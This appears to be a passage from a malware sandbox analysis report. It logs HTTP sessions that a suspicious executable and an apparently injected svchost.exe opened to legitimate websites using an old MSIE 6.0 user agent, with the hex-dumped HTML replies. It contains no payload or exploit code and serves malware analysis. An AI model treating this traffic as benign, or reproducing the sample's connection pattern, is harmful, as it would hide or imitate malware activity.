2023-07-27 19:53:37 UTC	196	IN	Data Raw: 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 3c 2f 61 72 74 69 63 6c 65 3e 0d 0a 20 20 20 20 20 0d 0a 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0d 0a 20 20 20 20 0d 0a 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 21 2d 2d 20 20 74 6f 70 6e 65 77 73 2e 20 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 20 63 6f 6e 74 0d 0a 32 30 30 30 0d 0a 65 6e 74 20 20 2d 2d 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 20 0d 0a 20 20 3c 21 2d 2d 20 20 63 6f 6e 74 65 6e 74 2d 6c 65 66 74 20 20 2d 2d 3e 0d 0a 20 20 3c 61 72 74 69 63 6c 65 20 69 64 3d 22 77 74 78 74 22 20 63 6c 61 73 73 3d 22 6d 61 69 6e 4c 65 66 74 22 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 20 Data Ascii: </div> </div> </article> </section> </section></div>... topnews. -->... cont2000ent --><div id="content"> ... content-left --> <article id="wtxt" class="mainLeft"> ...
2023-07-27 19:53:37 UTC	212	IN	Data Raw: 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 20 2f 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 0a 09 09 0a 09 0a 09 09 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 74 65 6d 22 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 33 30 30 70 78 3b 20 68 65 69 67 68 74 3a 38 35 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 30 70 78 22 3e 3c 61 20 68 72 65 66 3d 22 2f 77 32 30 2f 62 61 74 6f 6e 79 2f 33 39 36 31 2c 64 6f 70 61 6c 61 63 0d 0a 31 30 30 30 0d 0a 7a 65 2e 68 74 6d 6c 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 64 6f 70 61 6c 61 63 7a 65 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 64 6f 6b 75 6d 65 6e 74 79 2f 62 61 74 6f 6e 79 2f 33 39 36 31 2e 6a 70 67 3f 76 3d 31 36 35 37 31 31 32 36 31 38 22 20 61 Data Ascii: aria-hidden="true" /></a></div><div class="item" style="width:300px; height:85px;margin-bottom:10px"><a href="/w20/batony/3961,dopalac1000ze.html" target="_blank" aria-label="dopalacze"><img src="/dokumenty/batony/3961.jpg?v=1657112618" a
2023-07-27 19:53:37 UTC	228	IN	Data Raw: 63 6a 61 50 4c 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 74 69 74 6c 65 3d 22 4f 64 77 69 65 64 c5 ba 20 6e 61 73 20 6e 61 20 59 6f 75 54 75 62 65 22 20 63 6c 61 73 73 3d 22 79 74 22 3e 4f 64 77 69 65 64 c5 ba 20 6e 61 73 20 6e 61 20 59 6f 75 54 75 62 65 3c 2f 61 3e 3c 2f 6c 69 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 57 69 65 6c 6b 6f 70 6f 6c 73 6b 61 2d 50 6f 0d 0a 37 34 32 0d 0a 6c 69 63 6a 61 2d 34 39 30 31 39 36 36 30 34 34 37 30 33 34 32 2f 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 74 69 74 6c 65 3d 22 4f 64 77 69 65 64 c5 ba 20 6e 61 73 20 6e 61 20 46 61 63 65 62 6f 6f 6b 22 20 63 6c 61 73 Data Ascii: cjaPL" target="_blank" title="Odwied nas na YouTube" class="yt">Odwied nas na YouTube</a></li> <li><a href="https://www.facebook.com/Wielkopolska-Po742licja-490196604470342/" target="_blank" title="Odwied nas na Facebook" clas

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.4	52616	5.189.171.125	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 19:53:50 UTC	1366	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: www.muhr-soehne.de
2023-07-27 19:53:50 UTC	1366	IN	HTTP/1.1 200 OK Date: Thu, 27 Jul 2023 19:53:50 GMT Server: Apache/2.4.38 (Debian) Last-Modified: Fri, 30 Jun 2023 05:41:10 GMT Accept-Ranges: bytes Content-Length: 53069 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8
2023-07-27 19:53:50 UTC	1366	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 64 65 22 3e 0a 3c 68 65 61 64 3e 0a 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 21 2d 2d 20 0a 09 6d 61 64 65 20 62 79 20 50 53 56 6e 65 6f 0a 0a 09 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 70 6f 77 65 72 65 64 20 62 79 20 54 59 50 4f 33 20 2d 20 69 6e 73 70 69 72 69 6e 67 20 70 65 6f 70 6c 65 20 74 6f 20 73 68 61 72 65 21 0a 09 54 59 50 4f 33 20 69 73 20 61 20 66 72 65 65 20 6f 70 65 6e 20 73 6f 75 72 63 65 20 43 6f 6e 74 65 6e 74 20 4d 61 6e 61 67 65 6d 65 6e 74 20 46 72 61 6d 65 77 6f 72 6b 20 69 6e 69 74 69 61 6c 6c 79 20 63 72 65 61 74 65 64 20 62 79 20 4b 61 73 70 65 72 20 53 6b 61 61 72 68 6f 6a 20 Data Ascii: <!DOCTYPE html><html dir="ltr" lang="de"><head><meta charset="utf-8">... made by PSVneoThis website is powered by TYPO3 - inspiring people to share!TYPO3 is a free open source Content Management Framework initially created by Kasper Skaarhoj
2023-07-27 19:53:50 UTC	1382	IN	Data Raw: 69 74 65 6d 20 6c 61 79 6f 75 74 2d 30 20 20 22 3e 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 2f 76 65 72 73 63 68 6c 69 65 73 73 74 65 63 68 6e 69 6b 2f 76 65 72 73 63 68 6c 69 65 73 73 6d 61 73 63 68 69 6e 65 6e 22 20 74 69 74 6c 65 3d 22 56 65 72 73 63 68 6c 69 65 c3 9f 6d 61 73 63 68 69 6e 65 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 56 65 72 73 63 68 6c 69 65 c3 9f 6d 61 73 63 68 69 6e 65 6e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 Data Ascii: item layout-0 "> <a href="/verschliesstechnik/verschliessmaschinen" title="Verschliemaschinen"> Verschliemaschinen </a>
2023-07-27 19:53:50 UTC	1398	IN	Data Raw: 72 2e 6a 70 67 22 3e 3c 73 6f 75 72 63 65 20 6d 65 64 69 61 3d 22 28 6d 61 78 2d 77 69 64 74 68 3a 20 37 36 37 70 78 29 20 61 6e 64 20 28 6f 72 69 65 6e 74 61 74 69 6f 6e 3a 6c 61 6e 64 73 63 61 70 65 29 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 72 63 73 65 74 3d 22 2f 66 69 6c 65 61 64 6d 69 6e 2f 75 73 65 72 5f 75 70 6c 6f 61 64 2f 4e 61 63 68 68 61 6c 74 69 67 6b 65 69 74 2f 63 73 6d 5f 6d 65 74 61 6c 5f 72 65 63 79 63 6c 65 73 5f 66 6f 72 65 76 65 72 2e 6a 70 67 22 3e 3c 73 6f 75 72 63 65 20 6d 65 64 69 61 3d 22 28 6d 61 78 2d 77 69 64 74 68 3a 20 39 39 31 70 78 29 20 61 6e 64 20 28 6f 72 69 65 6e 74 61 74 69 6f 6e 3a 70 6f 72 74 72 61 69 74 29 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 72 63 73 65 74 3d 22 2f 66 69 6c 65 Data Ascii: r.jpg"><source media="(max-width: 767px) and (orientation:landscape)" srcset="/fileadmin/user_upload/Nachhaltigkeit/csm_metal_recycles_forever.jpg"><source media="(max-width: 991px) and (orientation:portrait)" srcset="/file
2023-07-27 19:53:50 UTC	1414	IN	Data Raw: 20 20 20 20 20 20 73 72 63 73 65 74 3d 22 2f 66 69 6c 65 61 64 6d 69 6e 2f 5f 70 72 6f 63 65 73 73 65 64 5f 2f 65 2f 63 2f 63 73 6d 5f 65 66 72 65 2d 65 75 5f 34 38 30 5f 30 32 62 64 33 65 31 34 64 39 2e 6a 70 67 22 3e 3c 73 6f 75 72 63 65 20 6d 65 64 69 61 3d 22 28 6d 61 78 2d 77 69 64 74 68 3a 20 39 39 31 70 78 29 20 61 6e 64 20 28 6f 72 69 65 6e 74 61 74 69 6f 6e 3a 70 6f 72 74 72 61 69 74 29 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 72 63 73 65 74 3d 22 2f 66 69 6c 65 61 64 6d 69 6e 2f 5f 70 72 6f 63 65 73 73 65 64 5f 2f 65 2f 63 2f 63 73 6d 5f 65 66 72 65 2d 65 75 5f 34 38 30 5f 30 32 62 64 33 65 31 34 64 39 2e 6a 70 67 22 3e 3c 73 6f 75 72 63 65 20 6d 65 64 69 61 3d 22 28 6d 61 78 2d 77 69 64 74 68 3a 20 39 39 31 70 78 29 20 61 6e 64 Data Ascii: srcset="/fileadmin/_processed_/e/c/csm_efre-eu_480_02bd3e14d9.jpg"><source media="(max-width: 991px) and (orientation:portrait)" srcset="/fileadmin/_processed_/e/c/csm_efre-eu_480_02bd3e14d9.jpg"><source media="(max-width: 991px) and

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.4	57325	94.130.146.206	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 19:53:54 UTC	1418	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: diamir.de
2023-07-27 19:53:54 UTC	1419	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Thu, 27 Jul 2023 19:53:54 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.diamir.de/ Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2023-07-27 19:53:54 UTC	1419	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.4	57238	188.114.96.7	443	C:\Users\user\Desktop\CX17SY6xF6.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 19:53:54 UTC	1418	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: hyab.se
2023-07-27 19:53:54 UTC	1471	IN	HTTP/1.1 302 Found Date: Thu, 27 Jul 2023 19:53:54 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Location: https://hyab.com Cache-Control: max-age=600 Expires: Thu, 27 Jul 2023 20:03:54 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ie7pYE4zu%2B3mTffv7WwmHjBs%2FePCx8B08TAyin%2BWrEqh0KZwhthfTwoqgDxIwAVly%2B%2FVDNZT3eXgp6gzpgE2vzoTA5Zdk8jxpgGTV4DoeFEkEs9nPpxZhQyE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7ed76e65c8b9bbc2-FRA alt-svc: h3=":443"; ma=86400
2023-07-27 19:53:54 UTC	1472	IN	Data Raw: 63 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 79 61 62 2e 63 6f 6d 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: c8<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://hyab.com">here</a>.</p></body></html>
2023-07-27 19:53:54 UTC	1472	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.4	56895	5.189.171.125	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 19:53:54 UTC	1419	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: www.muhr-soehne.de
2023-07-27 19:53:54 UTC	1419	IN	HTTP/1.1 200 OK Date: Thu, 27 Jul 2023 19:53:54 GMT Server: Apache/2.4.38 (Debian) Last-Modified: Fri, 30 Jun 2023 05:41:10 GMT Accept-Ranges: bytes Content-Length: 53069 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8
2023-07-27 19:53:54 UTC	1419	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 64 65 22 3e 0a 3c 68 65 61 64 3e 0a 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 21 2d 2d 20 0a 09 6d 61 64 65 20 62 79 20 50 53 56 6e 65 6f 0a 0a 09 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 70 6f 77 65 72 65 64 20 62 79 20 54 59 50 4f 33 20 2d 20 69 6e 73 70 69 72 69 6e 67 20 70 65 6f 70 6c 65 20 74 6f 20 73 68 61 72 65 21 0a 09 54 59 50 4f 33 20 69 73 20 61 20 66 72 65 65 20 6f 70 65 6e 20 73 6f 75 72 63 65 20 43 6f 6e 74 65 6e 74 20 4d 61 6e 61 67 65 6d 65 6e 74 20 46 72 61 6d 65 77 6f 72 6b 20 69 6e 69 74 69 61 6c 6c 79 20 63 72 65 61 74 65 64 20 62 79 20 4b 61 73 70 65 72 20 53 6b 61 61 72 68 6f 6a 20 Data Ascii: <!DOCTYPE html><html dir="ltr" lang="de"><head><meta charset="utf-8">... made by PSVneoThis website is powered by TYPO3 - inspiring people to share!TYPO3 is a free open source Content Management Framework initially created by Kasper Skaarhoj
2023-07-27 19:53:54 UTC	1435	IN	Data Raw: 69 74 65 6d 20 6c 61 79 6f 75 74 2d 30 20 20 22 3e 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 2f 76 65 72 73 63 68 6c 69 65 73 73 74 65 63 68 6e 69 6b 2f 76 65 72 73 63 68 6c 69 65 73 73 6d 61 73 63 68 69 6e 65 6e 22 20 74 69 74 6c 65 3d 22 56 65 72 73 63 68 6c 69 65 c3 9f 6d 61 73 63 68 69 6e 65 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 56 65 72 73 63 68 6c 69 65 c3 9f 6d 61 73 63 68 69 6e 65 6e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 Data Ascii: item layout-0 "> <a href="/verschliesstechnik/verschliessmaschinen" title="Verschliemaschinen"> Verschliemaschinen </a>
2023-07-27 19:53:54 UTC	1451	IN	Data Raw: 72 2e 6a 70 67 22 3e 3c 73 6f 75 72 63 65 20 6d 65 64 69 61 3d 22 28 6d 61 78 2d 77 69 64 74 68 3a 20 37 36 37 70 78 29 20 61 6e 64 20 28 6f 72 69 65 6e 74 61 74 69 6f 6e 3a 6c 61 6e 64 73 63 61 70 65 29 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 72 63 73 65 74 3d 22 2f 66 69 6c 65 61 64 6d 69 6e 2f 75 73 65 72 5f 75 70 6c 6f 61 64 2f 4e 61 63 68 68 61 6c 74 69 67 6b 65 69 74 2f 63 73 6d 5f 6d 65 74 61 6c 5f 72 65 63 79 63 6c 65 73 5f 66 6f 72 65 76 65 72 2e 6a 70 67 22 3e 3c 73 6f 75 72 63 65 20 6d 65 64 69 61 3d 22 28 6d 61 78 2d 77 69 64 74 68 3a 20 39 39 31 70 78 29 20 61 6e 64 20 28 6f 72 69 65 6e 74 61 74 69 6f 6e 3a 70 6f 72 74 72 61 69 74 29 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 72 63 73 65 74 3d 22 2f 66 69 6c 65 Data Ascii: r.jpg"><source media="(max-width: 767px) and (orientation:landscape)" srcset="/fileadmin/user_upload/Nachhaltigkeit/csm_metal_recycles_forever.jpg"><source media="(max-width: 991px) and (orientation:portrait)" srcset="/file
2023-07-27 19:53:54 UTC	1467	IN	Data Raw: 20 20 20 20 20 20 73 72 63 73 65 74 3d 22 2f 66 69 6c 65 61 64 6d 69 6e 2f 5f 70 72 6f 63 65 73 73 65 64 5f 2f 65 2f 63 2f 63 73 6d 5f 65 66 72 65 2d 65 75 5f 34 38 30 5f 30 32 62 64 33 65 31 34 64 39 2e 6a 70 67 22 3e 3c 73 6f 75 72 63 65 20 6d 65 64 69 61 3d 22 28 6d 61 78 2d 77 69 64 74 68 3a 20 39 39 31 70 78 29 20 61 6e 64 20 28 6f 72 69 65 6e 74 61 74 69 6f 6e 3a 70 6f 72 74 72 61 69 74 29 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 72 63 73 65 74 3d 22 2f 66 69 6c 65 61 64 6d 69 6e 2f 5f 70 72 6f 63 65 73 73 65 64 5f 2f 65 2f 63 2f 63 73 6d 5f 65 66 72 65 2d 65 75 5f 34 38 30 5f 30 32 62 64 33 65 31 34 64 39 2e 6a 70 67 22 3e 3c 73 6f 75 72 63 65 20 6d 65 64 69 61 3d 22 28 6d 61 78 2d 77 69 64 74 68 3a 20 39 39 31 70 78 29 20 61 6e 64 Data Ascii: srcset="/fileadmin/_processed_/e/c/csm_efre-eu_480_02bd3e14d9.jpg"><source media="(max-width: 991px) and (orientation:portrait)" srcset="/fileadmin/_processed_/e/c/csm_efre-eu_480_02bd3e14d9.jpg"><source media="(max-width: 991px) and

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.4	57433	35.214.171.193	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 19:53:55 UTC	1472	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: flamingorecordings.com
2023-07-27 19:53:55 UTC	1472	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Thu, 27 Jul 2023 19:53:55 GMT Content-Type: text/html Content-Length: 75193 Connection: close Vary: Accept-Encoding ETag: "61e91823-125b9" Host-Header: 8441280b0c35cbc1147f8ba998a563a7 X-Proxy-Cache-Info: DT:1
2023-07-27 19:53:55 UTC	1473	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 73 74 6f 72 65 2c 6d 61 78 2d 61 67 65 3d 30 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 22 20 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="cache-control" content="no-store,max-age=0" /> <meta name="robots" content="noindex"
2023-07-27 19:53:55 UTC	1488	IN	Data Raw: 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 31 39 37 2e 31 31 20 35 39 2e 30 33 31 20 31 39 35 2e 32 36 38 20 36 31 2e 31 34 34 20 31 39 37 2e 31 31 20 36 33 2e 32 35 38 20 31 39 38 2e 39 34 38 20 36 31 2e 31 34 34 20 31 39 37 2e 31 31 20 35 39 2e 30 33 31 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 31 39 37 2e 31 31 20 34 37 2e 32 32 35 20 31 39 35 2e 32 36 38 20 34 39 2e 33 33 38 20 31 39 37 2e 31 31 20 35 31 2e 34 35 32 20 31 39 38 2e 39 34 38 20 34 39 2e 33 33 38 20 31 39 37 2e 31 31 20 34 37 2e 32 32 35 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 31 39 37 2e 31 31 20 33 35 2e 34 31 39 20 31 39 35 2e Data Ascii: fill="#fff"/><polygon points="197.11 59.031 195.268 61.144 197.11 63.258 198.948 61.144 197.11 59.031" fill="#fff"/><polygon points="197.11 47.225 195.268 49.338 197.11 51.452 198.948 49.338 197.11 47.225" fill="#fff"/><polygon points="197.11 35.419 195.
2023-07-27 19:53:55 UTC	1504	IN	Data Raw: 20 31 31 33 2e 31 35 34 20 36 31 2e 31 34 34 20 31 31 34 2e 39 39 36 20 36 33 2e 32 35 38 20 31 31 36 2e 38 33 34 20 36 31 2e 31 34 34 20 31 31 34 2e 39 39 36 20 35 39 2e 30 33 31 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 31 31 34 2e 39 39 36 20 34 37 2e 32 32 35 20 31 31 33 2e 31 35 34 20 34 39 2e 33 33 38 20 31 31 34 2e 39 39 36 20 35 31 2e 34 35 32 20 31 31 36 2e 38 33 34 20 34 39 2e 33 33 38 20 31 31 34 2e 39 39 36 20 34 37 2e 32 32 35 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 31 31 34 2e 39 39 36 20 33 35 2e 34 31 39 20 31 31 33 2e 31 35 34 20 33 37 2e 35 33 32 20 31 31 34 2e 39 39 36 20 33 39 2e 36 34 36 20 31 31 36 2e 38 33 34 20 33 37 2e 35 Data Ascii: 113.154 61.144 114.996 63.258 116.834 61.144 114.996 59.031" fill="#fff"/><polygon points="114.996 47.225 113.154 49.338 114.996 51.452 116.834 49.338 114.996 47.225" fill="#fff"/><polygon points="114.996 35.419 113.154 37.532 114.996 39.646 116.834 37.5
2023-07-27 19:53:55 UTC	1520	IN	Data Raw: 34 2e 39 32 31 20 32 34 30 2e 30 34 32 20 31 34 32 2e 38 30 38 20 32 33 38 2e 32 30 33 20 31 34 30 2e 36 39 34 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 32 34 36 2e 36 33 38 20 32 32 35 2e 34 35 31 20 32 34 38 2e 34 37 38 20 32 32 37 2e 35 36 35 20 32 35 30 2e 33 31 36 20 32 32 35 2e 34 35 31 20 32 34 38 2e 34 37 38 20 32 32 33 2e 33 33 37 20 32 34 36 2e 36 33 38 20 32 32 35 2e 34 35 31 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 32 34 38 2e 34 37 38 20 32 31 35 2e 37 35 39 20 32 35 30 2e 33 31 36 20 32 31 33 2e 36 34 35 20 32 34 38 2e 34 37 38 20 32 31 31 2e 35 33 31 20 32 34 36 2e 36 33 36 20 32 31 33 2e 36 34 35 20 32 34 38 2e 34 37 38 20 32 31 35 Data Ascii: 4.921 240.042 142.808 238.203 140.694" fill="#fff"/><polygon points="246.638 225.451 248.478 227.565 250.316 225.451 248.478 223.337 246.638 225.451" fill="#fff"/><polygon points="248.478 215.759 250.316 213.645 248.478 211.531 246.636 213.645 248.478 215
2023-07-27 19:53:55 UTC	1536	IN	Data Raw: 38 20 39 34 2e 34 34 38 20 32 30 33 2e 39 35 32 20 39 36 2e 32 38 36 20 32 30 31 2e 38 33 38 20 39 34 2e 34 34 38 20 31 39 39 2e 37 32 35 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 39 34 2e 34 34 38 20 31 38 37 2e 39 31 39 20 39 32 2e 36 31 20 31 39 30 2e 30 33 32 20 39 34 2e 34 34 38 20 31 39 32 2e 31 34 36 20 39 36 2e 32 38 36 20 31 39 30 2e 30 33 32 20 39 34 2e 34 34 38 20 31 38 37 2e 39 31 39 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 39 34 2e 34 34 38 20 31 37 36 2e 31 31 33 20 39 32 2e 36 31 20 31 37 38 2e 32 32 36 20 39 34 2e 34 34 38 20 31 38 30 2e 33 34 20 39 36 2e 32 38 36 20 31 37 38 2e 32 32 36 20 39 34 2e 34 34 38 20 31 37 36 2e 31 31 33 Data Ascii: 8 94.448 203.952 96.286 201.838 94.448 199.725" fill="#fff"/><polygon points="94.448 187.919 92.61 190.032 94.448 192.146 96.286 190.032 94.448 187.919" fill="#fff"/><polygon points="94.448 176.113 92.61 178.226 94.448 180.34 96.286 178.226 94.448 176.113

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.4	57464	185.237.66.112	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
